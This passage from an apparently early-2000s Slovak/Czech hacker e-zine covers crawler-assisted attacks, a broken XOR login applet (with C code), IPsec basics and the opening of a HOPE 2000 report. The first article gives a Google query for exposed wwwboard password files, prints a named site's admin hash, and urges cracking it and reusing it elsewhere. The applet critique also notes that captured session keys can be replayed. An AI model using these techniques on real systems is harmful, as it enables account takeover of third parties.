    virtualne utoky, nemyslim zeby niekto nahlasoval ze vyfackal svoj pocitac
    pretoze mu opat spadol jeho (ne)oblubeny operacny system.



    zvacseniu poctu utokov napomohlo najma priaznive prostredie (nedostatky v
    zabezpeceni systemov) a existencia navodov ako postupovat. tento text nema ani
    nahodou za ciel vam davat navod na utok, ale ma sluzit len ako studijny
    material pre ludii, ktori sa zaoberaju bezpecnostou pocitacovych systemov.



    na pocitacove systemy sa utoci z rovnakeho dovodu ako na ine ciele. pre
    zabavu, alebo pre zisk (prestize, penazi, cohokolvek). existuje niekolko
    sposobov ako zautocit na pocitacovy system a zaroven sa vyhnut odhaleniu.
    pravdepodobne najlepsi sposob ako sa vyhnut problemom, je dat urobit riskantnu
    pracu niekomu inemu. najlepsie anonymne a bez velkych nakladov. musime najst
    niekoho, koho nebude zaujimat kto sme, niekoho kto nema tolko inteligencie,
    aby sa bal rizika, niekoho kto nekladie hlupe otazky, niekoho, komu nebudeme
    musiet platit. najmime si robotov.



    pocitacovy system je mozne ohrozit z vnutra alebo z vonku. v tomto clanku sa
    nebudeme zaoberat internymi utokmi (mame pristup do systemu, na ktory je utok
    zamerany), ale obratime pozornost na cast, ktora obsahuje vacsiu vyzvu, na
    napadnutie systemu z vonku, z akejkolvek casti internetu.



    vyber ciela



    k prevedeniu utoku su potrebne minimalne dve veci. utocnik a ciel. v
    nasledujucich riadkoch budeme uvazovat ze utocnikom sme my. ako ciel utoku si
    mozme vybrat len jeden pocitac, alebo mozme zautocit na viacero podobnych
    cielov sucasne. utok na jeden ciel je mozne chapat ako podmnozinu hromadneho
    utoku, takze sa nim nebudeme specialne zaoberat. isto vas napadne ze pre utok
    voci viacerym cielom je najlepsie extrahovat zoznam cielov, napr. z databaz
    pridelenych dns mien, alebo ip adries. no, nieje to celkom dobry napad. poucme
    sa na priklade z nedalekej minulosti, ked sa cervo-virus nimda vyuzivajuci
    chybu v iis od microsoftu pokusal napadnut vsetko co malo (aj nemalo) http
    server. je to ako keby sme sa pokusali odomknut fab klucom vsetky zamky na
    ktore narazime, ved zamok ako zamok, nie? urcite bude lepsou metodou
    vytipovat si vsetky fab zamky a tie podrobit blizsiemu, velmi intimnemu
    skumaniu. priamo sa nam natiska slovny zvrat: "a co som robot?!". bingo.
    nechame to robotom. stretavame sa s nimi stale, vuzivame ich takmer kazdy den.
    su to vyhladavacie sluzby. google, altavista, yahoo, lycos a kto vie este, pod
    akymi krycimi menami sa skryvaju. zadame im vhodne naformulovanu poziadavku a
    oni nam radi a ochotne vychrlia zoznam cielov, ktorym stoji za to sa venovat.



    zaujimaju nas systemy, ktore su napadnutelne zvonku. systemy, ktore voci
    internetu disponuju slabinami. slabinami, ktore su oficialne nazyvane
    sluzbami. sluzby, v ktorych sa neprestajne objavuju nove a nove chyby. podla
    nich si vyberieme nase ciele. vyhladavacie sluzby ich uz pre nas zmapovali,
    alebo ich pre nas zmapuju. protokol http, server poskytujuci stranky pisane v
    php, jave. aplikacie poskytujuce rozhranie pre webove prehliadace. a je toho
    este ovela viac.



    prieskum



    pred zahajenim utoku si robime prieskum. oplati sa to, ciastocne tym vylucime
    neuspech utoku. nenapadne si obzrieme miesto nasho buduceho uderu.
    vyhodnotime ziskane informacie, poopravime strategiu. bohuzial, tu uz zacina
    riziko, vstupujeme na nebezpecnu podu. mozme nas prieskum ciastocne
    zamaskovat, no urcite sa niekomu budeme zdat podozrivi. najlepsie, co mozme
    urobit, je poslat niekoho namiesto nas. roboti su neunavni, ked nam pomohli s
    vyberom cielov, pomozu nam aj s prieskumom. pokial uz to neurobili iniciativne
    sami. ak je sluzba, na ktoru sa zameriavame avizovana niekde na www, roboti ju
    urcite nasli a zaradili do svojej bazy dat. ak nie, pripravime im slusne
    susto. zoznam systemov spolu so zoznamom vyuzitelnych slabin. a pockame si.
    vysledky na seba zvycajne nedavaju dlho cakat. a ak si robotov pracujucich pre
    nas niekto vsimne, no a co? robotom je v dnesnej dobe dovolene to, co sa
    normalnym smrtelnikom neprepaci ani nahodou.



    utok



    ked sme pri prieskume zacinali riskovat, teraz sliapeme po minovom poli.
    samotny utok mozme previest osobne, ale, naozaj je nutne riskovat odhalenie?
    viete o nejakom generalovi, ktory by bojoval v prednej lini? sposoby pouzite
    pri prieskume, su velmi dobre aplikovatelne aj pri utoku. staci nam len dat
    prieskumnikom zbrane a rozkaz k utoku. je vela zle naprogramovanych sluzieb,
    ktore zlozi vhodne napisany vstupny retazec. retazec, ktory namiesto nas posle
    vyhliadnutemu cielu pricinlivy robot. staci mu ho len naservirovat a vyckat.



    prax



    po par kilobajtoch hlupo a nudne napisanej teorie je cas siahnut po par
    prikladoch. v prielome 16
    napisal salo clanok [1] o tom, ako
    pouzit www vyhladavace pre najdenie chybne napisanych php stranok.



    druhy priklad sa bude tykat aplikacie napisanej v perle, wwwboard od matt
    wrighta. jedna sa o script, ktory na www umiestnuje nastenku. tato nastenke je
    spravovatelna cez www interface. wwwboard ma v implicitnej instalacii volne
    cez web pristupny subor s menom a heslom spravcu nastenky. pre najdenie
    servrov, ktore obsahuju wwwboard sa nam staci opytat napr. vyhladavaca google
    nasledovnu otazku:



    http://www.google.com/search?q=allinurl:+wwwboard&num=100&start=0&sa=N&filter=0



    dostaneme priblizne 2,720,000 odkazov na wwwboard. ak napr. za url
    `http://www.bizweb2000.com/wwwboard/' pridame passwd.txt, dostaneme vystup
    `bizweb20:gcxmt4ul6.j0s'. takze mozme urobit stranku s odkazom
    `http://www.bizweb2000.com/wwwboard/passwd.txt' a po jej najdeni robotom, si
    vystup cisto a bezbolestne vyzdvihnut v databaze vyhladavaca. skuste si odkaz:



    http://www.google.com/search?q=allinurl:+wwwboard/passwd.txt&num=100&sa=N&filter=0.



    sposob enkrypcie je znamy, ako ziskat povodne heslo, tiez. to nam staci aby
    sme sme si nastenku upravili podla svojho. a ked uz mame meno a heslo, preco
    ich nevyskusat na systeme, na ktorom wwwboard bezi, pripadne na stroji, z
    ktoreho sa spravca hlasi? mozte na to vziat jed, ze nie kazdy si vymysla
    jedinecne hesla pre svoje systemy.



    neexistuje sposob ako zabranit takymto utokom. jedina ochrana je pouzivanie
    dobre a bezpecne napisanych programov a ich spravna konfiguracia. ale kto dnes
    vie ci je program beziaci prave na vasom pocitaci dobre a bezpecne napisany?
    nikto. len cas ukaze.



    pouzite zdroje:



    [1] prielom 16: salo, php nase kazdodenne

    [2] phrack, issue 0x39, phile #0x0a: michal zalewski, against the system: rise of the robots

    [3] cnn.com record year for security breaks expected

    [4] information technology -- essential but vulnerable: how prepared are we for attacks?



    mikulas papuca s priatelkou, prielom(at)hysteria.sk



    navrat na obsah

    co ty na to ? board





    ako eurotel varil hadi olej



    kde bolo, tam bolo, boli raz v nasej malej krajine dvaja operatori, ktori
    neposkytovali vsetkym svojim klientom sluzbu posielania ich e-mailov vo forme
    sms spravy na mobil zdarma, tak ako je to zvykom v kazdej inej
    civilizovanej krajine (napriklad v cechach). preto sa ludia -- obcania
    internetu -- rozhodli, ze si tuto sluzbu naprogramuju. pre klientov eurotelu
    bol najjednoduchsi sposob pouzit sluzbu href="http://www.diar.sk/">www.diar.sk
    (ked uz vsetky zahranicne brany
    zaviedli limit na pocet odoslanych sms). ta vo svojich href="http://www.diar.sk/new_user.html"> podmienkach taketo nieco
    nezakazovala, preto to bolo idealne riesenie -- bolo uplne legalne.



    jeden znamy, ktory bol na navsteve v el&t -- firme, zaoberajucej sa
    vyvojom aplikacie diar, mi hovoril, ako mu ukazovali, ze si z toho robi vela
    ludi vlastnu sms branu na podobne ucely, ale ze im to nevadi. neskor vsak asi
    zmenili nazor (pravdepodobne v euroteli) a rozhodli sa zakazat posielanie
    sprav na vlastne cislo. toto by efektivne zabranilo sms notifikacii (ktora
    bola uplne v sulade s pravidlami). vtedy sa nenaslo par rozumnych hlav a
    dohodlo sa na vzajomnom posielani (ja posielam tebe a ty mne). takto to par
    mesiacov (zase bez akehokolvek porusenia pravidiel) fungovalo. dost ludi
    pouzivalo moj softver href="http://juraj.bednar.sk/work/software/diarlib/">diarlib.



    zrazu sa vsetko zlomilo a konta, ktore boli udajne ,,zneuzivane'' na
    posielanie kratkych textovych sprav boli zablokovane. vtedy som sa rozhodol,
    ze to nema zmysel a svoje posielanie smsiek som zrusil. niektori vsak svoju
    pravdu obhajili a konta im boli znovu obnovene (kedze pravidla pouzivania
    aplikacie boli na ich strane a prevadzkovatel nemal dovod im konta
    zablokovat). pri odpovedi vsak bola cynicka poznamka v style ,,iste vam vsak
    nebude vadit zmeneny sposob prihlasovania s pouzitim java appletu''.



    skutocne, na www.diar.sk sa objavil nasledovny text:




    od 1. marca 2002 bude zavedeny denny limit na pocet odoslanych sms
    sprav z jedneho konta na 10. tak isto bude zavedene opatrenie, ak sa
    pouzivatel neprihlasi po dobu 90 dni do diara bude mu pozastavene zasielanie
    udalosti.



    od 6. februara 2002 je zavedena zmena v sposobe prihlasovania.
    prihlasovaci dialog je rieseny java appletom z dovodu prenosu mena a hesla v
    kryptovanom tvare.




    z uvedeneho je vsak zjavne, ze tu neslo o ziadny kryptovany tvar, ale o
    ,,znemoznenie'' e-mailovej notifikacie. samozrejme, opatrenie maximalne desat
    kratkych textovych sprav je ich pravom (niekedy rozmyslam, ze by mozno nebolo
    zle kupit si nejaku sim kartu v cechach a pouzivat ju s roamingom u nas --
    budem vyuzivat siet nasich operatorov, ale starostlivost o zakaznika,
    e-mailova notifikacia a fakturacia ostane na kolegoch cechoch).



    osobne ma vsak zaujimala bezpecnost toho java appletu, kedze ako tvrdia,
    zaviedli ho kvoli prenosu hesla v kryptovanom tvare. po nainstalovani javy do
    mojho prehliadaca (konqueror) a zapnuti sniffra sme s par kolegami prisli na
    to, ako je to cele ,,sifrovane''. za chvilu vznikol nasledovny program, ktory
    robil presne to, co spominany java applet (a tak som mohol javu znova vymazat,
    ale povedal som si, ze ked uz mi funguje, tak si ju necham):



    void genlogin () {

    unsigned char s[85], s1[85];
    unsigned char chr[3];
    int i;

    srandom (time (NULL));
    for (i = 0; i < 85; i++) {
    s1[i] = 0;
    s[i] = 0;
    }

    sprintf (s, "%s#%s#", USER, PASSWORD);

    for (i = strlen (s); i < 42; i++)
    s[i] = random () % 255;

    for (i = 0; i < 42; i++) {
    s1[i] = random () % 255;
    s1[i+42] = s1[i] ^ s[i];
    }

    *uri = 0;

    for (i = 0; i<84; i++) {
    sprintf (chr, "%x", s1[i]);
    if (strlen (chr) < 2)
    strcat (uri, "0");
    strcat (uri, chr);
    }
    }




    snad je program jednoduchy na pochopenie. ak nie, strucne ho vysvetlim: najprv
    sa vytvori retazec v tvare login#heslo#, potom sa doplni nahodnymi znakmi,
    vytvori sa druhy retazec rovnakej dlzky a na jednotlive znaky sa pouzije
    operacia xor. druhy retazec a ten ,,sxorovany'' sa spoja dokopy a to je
    prihlasovacie heslo. desifrovanie je jednoduchy xor, pricom desifrovaci kluc
    sa prenasa spolu so zasifrovanym tvarom.



    autori tohto appletu teda asi pouzitie slova ,,v kryptovanom tvare'' mysleli
    ironicky a chceli nas pobavit. clovek by pri takomto tvrdeni cakal aspon
    pouzitie asymetrickej kryptografie, ktore by zabranilo pasivnemu utoku
    (aktivnemu by zabranilo pouzitie ssl s certifikatom od doveryhodnej
    certifikacnej autority -- uz aj klasicky snake oil certifikat by bol lepsi,
    ako toto ,,riesenie'').



    nemam rad, ked vo mne niekto chce vyvolat falosny pocit bezpecia bez toho, aby
    svoje tvrdenie zalozil na argumentoch. prihlasovanie je rovnako nezabezpecene
    ako bolo aj predtym, ziadny xorovaci applet na tom nic nezmeni. okrem toho
    applet dostane naspat session key, cize netreba ani velmi rozmyslat a pristup
    do diara niekoho ineho sa da ziskat aj bez tejto analyzy (snaci do prehliadaca
    zadat odchytene url so session key a ste vnutri, aplikacia si dokonca ani
    neoveruje, ci s danym session key pride clovek z tej istej adresy ako je
    adresa, na ktoru session key poslal, co je par riadkov kodu -- podobne
    problemy boli uz na slovenskych a ceskych serveroch venujucich sa tematike
    bezpecnosti popisane).



    vedzte teda, ze aktualny href="http://juraj.bednar.sk/work/software/diarlib/">diarlib pracuje aj s
    novym ,,sifrovanim'' a ak vam staci limit 10 sms za den, mozete ho pouzivat
    (napriklad, ak nechcete kvoli rozmarom eurotelu a el&t instalovat
    javu).



    ja len verim, ze nasi operatori konecne dostanu rozum a budu sluzbu
    notifikacie o prichadzajucom e-maile poskytovat kazdemu platiacemu zakaznikovi
    zdarma ako je to zvykom v zahranici a nebudu chciet z nas vyryzovat kazdy
    halier. alebo mame vsetci emigrovat?





    juraj bednar



    navrat na obsah

    co ty na to ? board





    uvod do ipsec (protokoly, implementace, pouziti)



    uvod



    nasledujici text je velmi podobny prednasce, ktera zaznela na openweekendu v
    dejvicich, a sleduje vicemene slajdy [
    1]. pro vice
    informaci si prectete texty uvedene v sekci 'literatura'. je uzitecne precist
    si zdrojove texty operacnich systemu, ktere implementuji ipsec [ href="#ipsec2">2], za predpokladu znalosti implementace sitoveho
    subsystemu [3].



    pojem ipsec



    kdyz se podivame na ip protokol [4], neni tezke uvidet,
    ze postrada vlastnosti, ktere jsou bezpecnosti vlastni - autentizaci, zaruku
    konfidentality, integrity, ochranu proti replay utokum. tento nedostatek,
    zaroven s tim, jak se rozsiruji podnikove site, prispel k tvorbe pozadavku na
    vybudovani noveho protokolu, pripadne rozsireni stavajiciho. protoze je dnes
    ip siroce vyuzivan, ustavila ietf [5] komisi, ktera mela
    za ukol navrhnout extenzi ip tak, aby splnovala tyto pozadavky a zaroven byla
    zpetne kompatibilni s ip, tj. aby stroje ktere ji nerozumeji, nebranily jeho
    pouziti.



    vpn



    s pojmem ipsec uzce souvisi vpn (virtual private network). pomoci ipsec muzeme
    propojit oddelene site tak, aby jejich propojeni bylo uvnitr samych sebe
    transparentni. toto propojeni muzeme diky vlastnostem ipsec realizovat pres
    verejne datove site, coz s sebou nese zrejme vyhody, jako rychlejsi
    vybudovani, uspora nakladu (neni nutne budovat fyzicke spojeni jednotlivych
    lokalit) - to plati i pro operatora, ktery datovou sit pronajima. na druhou
    stranu je toto reseni narocne na spravu (a tim i na prostredky pokud spravu
    sverime treti strane). ipsec je bezpecnostni mechanismus ip vrstvy, ktery se
    vztahuje na kazdy ip paket. mame-li sit, kde veskera komunikace probiha na ip,
    vyplyva, ze zabezpeceni ip zabezpeceni datovych toku v cele siti. je nutne si
    uvedomit, kam az ipsec saha. pokud pozadujeme autentizaci uzivatele, prip.
    navic v ramci nejake aplikace, lezi prostredky ipsec v prilis nizke vrstve.
    pro aplikacni vrstvu je ipsec naprosto transparentni, coz muze byt nekdy
    nezadouci, tento problem vsak do urcite miry resi prostredky typu ssl.



    podstata ipsec



    zakladni stavebni kameny ipsec jsou z pohledu ip dva rozsirujici protokoly: ah
    (authentication header) [6] a esp (encapsulated security
    payload) [7]. ah i esp se prekryvaji - ah poskytuje
    prostredky pro autentizaci, esp muze poskytovat autentizaci i sifrovani. tyto
    dva protokoly jsou vystaveny tak, aby bylo mozne rozsirovat je napr. o dalsi
    sifrovaci funkce. tyto dva protokoly je mozne v ramci jenoho paketu
    kombinovat. je nutne si uvedomit, ze toto urcite nestaci k tomu, abychom
    zajistili bezpecnost datovych toku mezi sitemi. k uplnosti schazi mechanismus
    pro vymenu klicu - ike (internet key exchange) [17].
    zminujeme-li ip protokol, je tim myslen v zasade ipv4. v ipv6 je ipsec
    povinny, nicmene to s sebou nese implementacni problemy.



    sa



    prvnim stupnem abstrakce nazirani na datovy tok v ramci ipsec je sa (security
    association). sa obsahuje nasledujici atributy: cilovou ip adresu, ipsec
    protokol (ah,esp), cislo spi, sekvencni citac, mod prenosu (tunnel,
    transport), casova data o vyprseni, atd. aby spolu mohly bezpecne komunikovat
    dve strany, je zapotrebi dvou sa - kazda pro jednu stranu. cislo spi
    (security parameter index) jednoznacne identifikuje dany sa. podle nej se
    vyhleda prislusny sa pro zpracovani prichoziho ipsec paketu. spi vznika pri
    vyjednavani parametru spojeni, vytvari ho prijemce sa. spolu s cilovou
    adresou a bezpecnostnim protokolem (ah,esp) vytvari spi primou vazbu s
    prislusnym sa.



    ah



    ah nam poskytuje nasledujici funkce: ochranu integrity pro hlavicku a data
    (payload) a overeni ze paket pochazi od daneho odesilatele. protoze se ah
    snazi chranit celou ip hlavicku, pokryvaji autentizacni data vsechna pole,
    vyjma tech, ktera se meni pri tranzitu. format ip paketu, ktery obsahuje ah
    ma jednoduse prilepenou ah hlavicku hned za ip hlavickou, pak nasleduji data.
    (tj. napr. tcp hlavicka + data ktera prenasime)



    zjednoduseny format ah hlavicky:


    next header | payload len | reserved
    security parameters index (spi)
    sequence number field
    authentication data (variable)


    nextheader urcuje nasledujici vyssi protokol (esp, tcp). spi (security
    parameter index) jednoznacne urcuje sa (tj. proto, klice, algoritmy) a je
    inkrementovan pro dst addresu nebo sa. payload len urcuje delku ah hlavicky
    minus 2 (kvuli zpetne kompatibilite s puv. navrhem ah). sekvencni cislo
    zajistuje ochranu pro replay utokum. presny format ah hlavicky lze nalezt v
    [6].



    esp



    primarni funkci esp je ochrana dat pred odposlechem, ale muze zaroven
    poskytovat i autentizaci, v ramci ni nechrani ale cely paket jako to dela ah,
    esp autentizuje pouze nizsi hlavicky.



    zjednoduseny format esp hlavicky:


    spi (security parameters index) ^
    sequence number | autentizovano
    payload data | padding <- sifrovano -> v
    authentication data


    presny format esp hlavicky lze nalezt v [7]. spi, seq.
    num. maji tentyz vyznam jako u ah, padding muze slouzit jednak k znesnadneni
    analyzy datoveho toku podle objemu dat, jednak pro blokove sifry aby byla data
    zarovnana na delku, kterou pozaduje dana blokova sifra.



    mody prenosu



    ipsec definuje dva mody prenosu - transport a tunnel mod. transport mod je
    urcen pro ipsec spojeni mezi dvema stroji, pomoci tunnel modu muzeme budovat
    plnohodnotne vpn. format paketu pro transp. mod a esp vypada jednoduse: ip [
    esp | payload ]. tunnel mod provadi zapouzdreni hlavicek, pro pocitace ktere
    spolu v ramci vpn komunikuji, je spojeni transparentni. z paketu, ktery
    produkuje pocitac uvnitr vpn: ip1 [ payload ] se stane po ipsec zpracovani
    zapouzdreny paket: ip2 [ esp | ip1 | payload ]. stejne tak lze pouzit ah
    protokol. zde je vhodne se zeptat, jestli a za jakych podminek muze dojit k
    soucasnemu pouziti ah a esp. tato vlastnost se nazyva tzv. transport
    adjacency. esp hlavicka je prilepena za ah: iphdr1 ah esp iphdr2 {tcphdr +
    data}. tim padem autentizujeme cely paket (vyjma nekolika poli ve vnejsi ip
    hlavicce iphdr1) a sifrujeme tcp hlavicku a data.



    vstup / vystup



    abychom mohli pri zpracovani paketu urcit jak s nim mame dle ipsec nalozit,
    potrebujeme jednoznacne identifikovat prisluny zaznam v sad (security
    association database). k tomu slouzi spi. na vystupu dostaneme paket, na
    ktery se muzeme divat jako na ip hlavicku a data. pri ipsec zpracovani se
    rozhodneme dle security policy jak s paketem nalozime, zasifrujeme, pridame
    esp hlavicku, spi a predame ke zpracovani. security policy slouzi k
    rozhodovani co se s paketem v ramci ipsec stane. rozhodovat muzeme podle
    adresy nebo socketu. pokud na vstupu dostaneme ipsec paket, vyhledame prisl.
    sa podle spi, desifrujeme, predame dalsi vrstve. pri hledani sa je nutne mit
    reasemblovany paket (pokud byl predtim fragmentovan), pricemz routery obvykle
    reasembling neprovadeji. konkretni pripad pouziti v ethernetu by vypadal
    takto:



    esp, vystup na ethernetu


    bez esp
    1. slozena tcphdr, pripojena k datum
    2. slozena iphdr, pripojena pred tcp
    3. slozena eth hdr, pripojena pred ip (+ eth cksum na konci)

    s esp
    1. dtto
    2. slozen esp paket
    zasifruje tcphdr + data
    3., 4. dtto




    ike/isakmp



    nyni mame vybudovany prostredky a pojmy pro bezpecnou komunikaci, chybi nam
    ale podstatna vec: mechanismus pro vymenu klicu. bez nej by byly ah a esp pro
    pouziti v realnem svete k nicemu. klice muzeme sice nastavit rucne (priradime
    jim staticka spi), to samozrejme neposkytuje ochranu proti replay utokum.
    automaticke nastaveni klicu je provadeno podle ike (internet key exchange) [ href="#ipsec17">17]. pro predstavu slozitosti nastavovani vpn pomoci pri
    pouziti statickych klicu a symetricke kryptografie nam pomuze nasl. priklad s
    prodejci: mame 23 prodejcu, ti chteji spolu komunikovat, pricemz jednou mohou
    byt jejich zajmy spolecne, jindy mezi nimi panuje konkurencni boj. pokud budou
    spolu chtit prodejci bezpecne komunikovat, musi mit nejaky mechanismus pro
    vymenu klicu. mohou to udelat tak, ze se jednou za cas kazdy setka s kazdym a
    vymeni si klic pro komunikaci. nebo mohou mit jednou za cas snem, kde kazdy
    zverejni svuj verejny klic. to je sice stale slozite, ale uz podstatne
    jednodussi reseni. ike je vystaven nad isakmp (internet sa and key management
    protocol), coz je obecny ramec pro dohodu bezp. parametru jednotl. spojeni a
    je striktne oddelen od vymeny klicu. ike ma za ukol jednak spravu klicu,
    jednak vyjednavani parametru ipsec spojeni. ukolem tedy je:



    1. vyjednat protokoly, algoritmy, klice

    2. snadna vymena klicu (a casta)

    3. sledovat tyto ujednani (sa management)



    ukolem ike je zajistit dohodu klicu a algoritmu, od zacatku zajistti
    autenticitu vymeny, spravu dohodnutych klicu (napr. expiraci), bezpecnou
    vymenu materialu pro generovani klicu.



    isakmp



    isakmp pracuje ve dvou fazich - v prvni fazi sestavi bezpecny, autentizovany
    kanal pomoci ktereho budou komnikovat obe strany (tzv. ike sa). v druhe fazi
    se vyjednavaji sa pro obecne pouziti. k sestaveni ike sa lze pouzit bud main
    mode nebo aggressive mode. main mode potrebuje k uspesnemu dokonceni vymeny 5
    zprav (tzv. 3-2 vymena), aggressive mode pouze 3, pricemz aggresive mode
    nezajistuje ochranu identity. v ramci teto vymeny probiha dohoda parametru
    spojeni, zjednodusene si lze predstavit tak, ze jedna strana navrhne parametry
    (tzv. ike proposals) pro budouci sa a pokud druha strana 'souhlasi', vzejde z
    teto vymeny material pro vyrobu klicu. tato asociace se nazyva ike sa. k
    ustaveni ike sa navrhuje iniciator 6 veci [14]:



    sifrovaci algoritmus

    hashovaci algoritmus

    authentication method

    info o d-h grupe

    prng funkci

    bezp. protokol (ah nebo esp)




    pokud budeme uvazovat o tom, jak snizit pravdepodobnost toho, ze kdyz se
    utocnikovi dostanou do ruky zasifrovana data, bude je schopen desifrovat. bud
    muzeme pouzit opravdu velke klice, (to je ale narocne na vypocetni vykon a
    sirku pasma) nebo muzeme pouzit rozumne velke klice a casto je menit. to s
    sebou prinasi problem jak zajistit generovani klicu aby je druha strana mohla
    pouzit. pokud nebudeme dalsi klic odvozovat od stavajiciho, bude mit utocnik
    moznost v pripade ze desifruje dany klic nahlednout pouze na cast prenasenych
    dat. teto metode se rika perfect forward secrecy a ike k ni pouziva
    diffie-hellmanovo schema.



    d-h schema:

    obe strany vygeneruji public/private key pair

    obe si vymeni public klice

    zkombinuji ziskany public se svym tajnym (d-h algoritmus)

    ziskanou hodnotu pouziji pro sifrovani symetrickou sifrou



    ve druhe fazi se pouziva tzv. quick mode vymena, ktera ma za ukol provadet
    periodickou vymenu klicu pro sa. quick mode (qm) uz probiha uvnitr bezpecneho
    tunelu (ike sa), protokol je tedy jednodussi. zpravy qm zacinaji hashem, ktery
    autentizuje zbytek paketu, qm vymena probiha pomoci 3 zprav (podobne jako v
    aggresive mode). iniciator posle spi ktere bude pouzivat ke komunikaci a
    responder posle spi, ktere si vybral on. tim dostaneme inbound (vzhledem k
    iniciatorovi) a outbound sa. iniciator uzavira vymenu potvrzujici zpravou.
    obecne schema spoluprace ike+ah,esp pak bude:



    1. pouzij main mode (prip. aggresive mode) pro bootstrap ike sa

    2. pouzij quick mode v ramci ike sa pro vyjednani sa

    3. pouzivej sa ke komunikaci nez vyprsi



    abychom mohli overit, ze druha se strana je skutecne ta, za kterou se vydava,
    potrebujeme nejaky zpusob k verifikaci identity. k tomu slouzi treti strana -
    certifikacni autorita (ca). certifikaty spojuji dohromady nasledujici tri
    veci: vasi identitu (napr. jmeno a sidlo), verejny klic ca, vas verejny klic
    (urceny k podpisu). schema overeni identity vypada priblizne takto:



    1. poslu data k podpisu druhe strane

    2. prijmu certifikat od druhe strany podepsany ca

    3. overim podpis ca

    4. overim podpis druhe strany



    toto se nazyva tzv. 'chain of trust'. ten zacina nasi duverou v identitu ca a
    tu pouzijeme k overeni duvery v nekoho jineho. ike pouziva k overeni identity
    pres treti stranu prumyslovy standard x.509 [19]. ike
    je navrzen jako otevreny standard, je tedy mozne rozsirit jej o dalsi.



    kritika ipsec



    v [12] jsou shrnuty jednak argumenty proti navrhu
    ipsec, druhak jsou navrhnuta reseni, ktera opravuji chyby. obecne se o ipsec
    da rici, ze se jedna o velmi slozity system. kazdy slozity system obsahuje
    netrivialni chyby. pri formalnim overovani bezpecnosti takoveho systemu to
    klade velke naroky a verifikace se tak stava zdlouhavou a na lidske zdroje
    narocnou cinnosti. zaroven to nese problemy s interoperabilitou - jednotlive
    implementace nemusi byt kompatibilni. schneier [12]
    toto nazyva 'complexity trap': nejvetsim nepritelem bezpecnosti je slozitost.
    proc je ipsec tak slozity ? pokud se podivame na proces navrhovani tohoto
    protokolu, a srovname jej napr. s procesem vyberu aes [ href="#ipsec18">18], je videt typicky tzv. 'comittee effect' - kazdy z
    komise [5] si vybere svou 'oblibenou' vlastnost a tu do
    noveho protokolu prosadi. dalsi kritizovanou vlasnosti je nedostacujici
    dokumentace - jednak obsahuje mnohoznacnosti, z cehoz plnou problemy pri
    implementaci, druhak neobsahuje vysvetleni duvod volby byly jednotlivych
    komponent. porovname-li napr. transport a tunnel mod, zjistime, ze tunnel mod
    je nadmnozinou transp. modu a transp. mod tedy neni potreba. muzeme
    argumentovat tak, ze tunnel mod ma vetsi 'overhead', ale pri aplikovani
    jednoduche komprese muzeme dosahnout stejneho mnozstvi dat. dale, sa jsou
    jednosmerove. pri pouziti ipsec sotva budeme chtit zebezpecit pouze jednu
    stranu komunikace, navic se tak zjednodussi impelemntace (polozky v sad -
    security association database). navrh ah a esp protokolu se prekryva, mohli
    bychom vynechat ah a zaroven chtit aby esp vzdy poskytoval autentizaci -
    sifrovani bez autentizace je k nicemu. tim se navrh znacne zjednodusi. (autori
    navrhu se ohrazuji tim, ze napr. site armady usa jiz obsahuji dostatecne
    prostredky pro autentizaci a tedy v navrhu neni potreba) dalsi diskutabilni
    vlastnosti je poradi operaci - ipsec nejdrive pouzije sifrovaci funkci, pote
    autentizacni. hortonuv princip stanovuje poradi operaci opacne, tj. autentizuj
    co je mineno. schneier [12] tvrdi, ze o ipsec tak jak
    je navrzen, se neda rict, ze je to bezpecny zpusob, jak zajistit bepecnost ip
    a nedoporucuje ipsec k pouzivani. pres vsechny tyto nedostatky je ale ipsec
    nejlepsim dostupnym resenim a je siroce vyuzivan.



    implementace



    ipsec je ke dnesnimu dni implementovan v rade os, v zasade muzeme implementace
    rozdelit na komercni (napr. cisco [15]) a open source.
    nejpopularnejsi ipsec stack - kame [16] je japonske
    produkce, je integrovan do freebsd a netbsd a obsajuhe ipv6 implem. openbsd ma
    vlastni ipsec stack, ktery napsali a. keromytis a j. ioannidis. zpracovani
    ipsec paketu probiha v kernelu, vymeny v ramci ike probihaji v userlandu. ve
    freebsd k tomu slouzi racoon(8), v openbsd isakmpd(8). datove struktury pro
    ulozeni dat nutnych ke zpracovani ipsec se nazyvaji sad (tdb) - to je database
    sa a spd - security policy (sp) database. sp je analogie firewallu,
    rozhodnuti se ale tykaji sa. kdyz se podivame na vztah ipsec a ike, muzeme
    vyzvednout nasledujici odlisnosti a vlastnosti:



    ipsec - v kernelu, fce pro setup tajnych klicu, hash fce

    ike - v userlandu, verejne klice, certifikaty



    ipsec se urcite nehodi pro ochranu beznych spojeni a uz vubec ne jako nahrada
    ochrany na aplikacni urovni. vezmeme si napr. host typu yahoo.com, kteremu by
    pri mnozstvi pozadavku jake jsou na tento vznaseny nestacila kernel memory.



    pouziti



    ipsec je bezne pouzitelny pro budovani vpn, v posledni dobe se dobre osvedcil
    jako nahrada wep (wireless equivalent privacy) [11], u
    ktereho se prokazalo, ze 40bit i 128 verze jsou nebezpecne. ipsec je zajimavy
    i pro organizace, jejiz uzivatele casto cestuji nebo pracuji vzdalene - tzv.
    'road warriors'. ve spojeni s ca je uz ipsec v tomto pripade pouzitelny.
    presto, ze ipsec je slozity protokol, ma napr. pod openbsd jednoduchy setup
    [10] - k nastaveni nam krome znalosti sitovani bude
    stacit pf/ipf(8) a isakmpd(8). nanestesti protokol diky sve slozitosti
    umoznuje nastaveni, ktere neni bezpecne, administrator, kteremu principy na
    kterych ipsec stoji nejsou vlastni, muze snadno udelat chybu, ktera vede ke
    snizeni bezpecnosti.



    literatura




    [1]
    Openweeknd 2001 IPSec Slides


    [2]
    RFC 2401 (IPSec)


    [3]
    Kirk McKusick - The Design and Implem. of the 4.4BSD Operating System


    [4]
    RFC 791 (IP)


    [5]
    IETF IPSec Working Group


    [6]
    RFC 2402 (AH)


    [7]
    RFC 2406 (ESP)


    [8]
    Itojun, slajdy o implem. ipsec/IPv6


    [9]
    NetBSD IPSec FAQ


    [10]
    OpenBSD IPSec FAQ v cestine


    [11]
    IPSec jako nahrada za WEP


    [12]
    Cryptographic Evaluation of IPSec


    [13]
    Dipl. prace Vaska Petricka, MFF UK


    [14]
    Understanding IPSec Protocol Suite


    [15]
    Cisco Security Technical Tips - IPSec


    [16]
    KAME project


    [17]
    RFC 2409 (IKE)


    [18]
    AES


    [19]
    X.509 Certificates and Certification Authorities




    vladimir kotal, vlada(at)openbsd.cz



    navrat na obsah

    co ty na to ? board




    hackers on the planet earth 2000



    po viac ako roku od konania konferencie hackers on the planet earth 2000 (alias
    hope 2000, alias h2k) som sa povzbudeny istym nemenovanym clenom hysterie
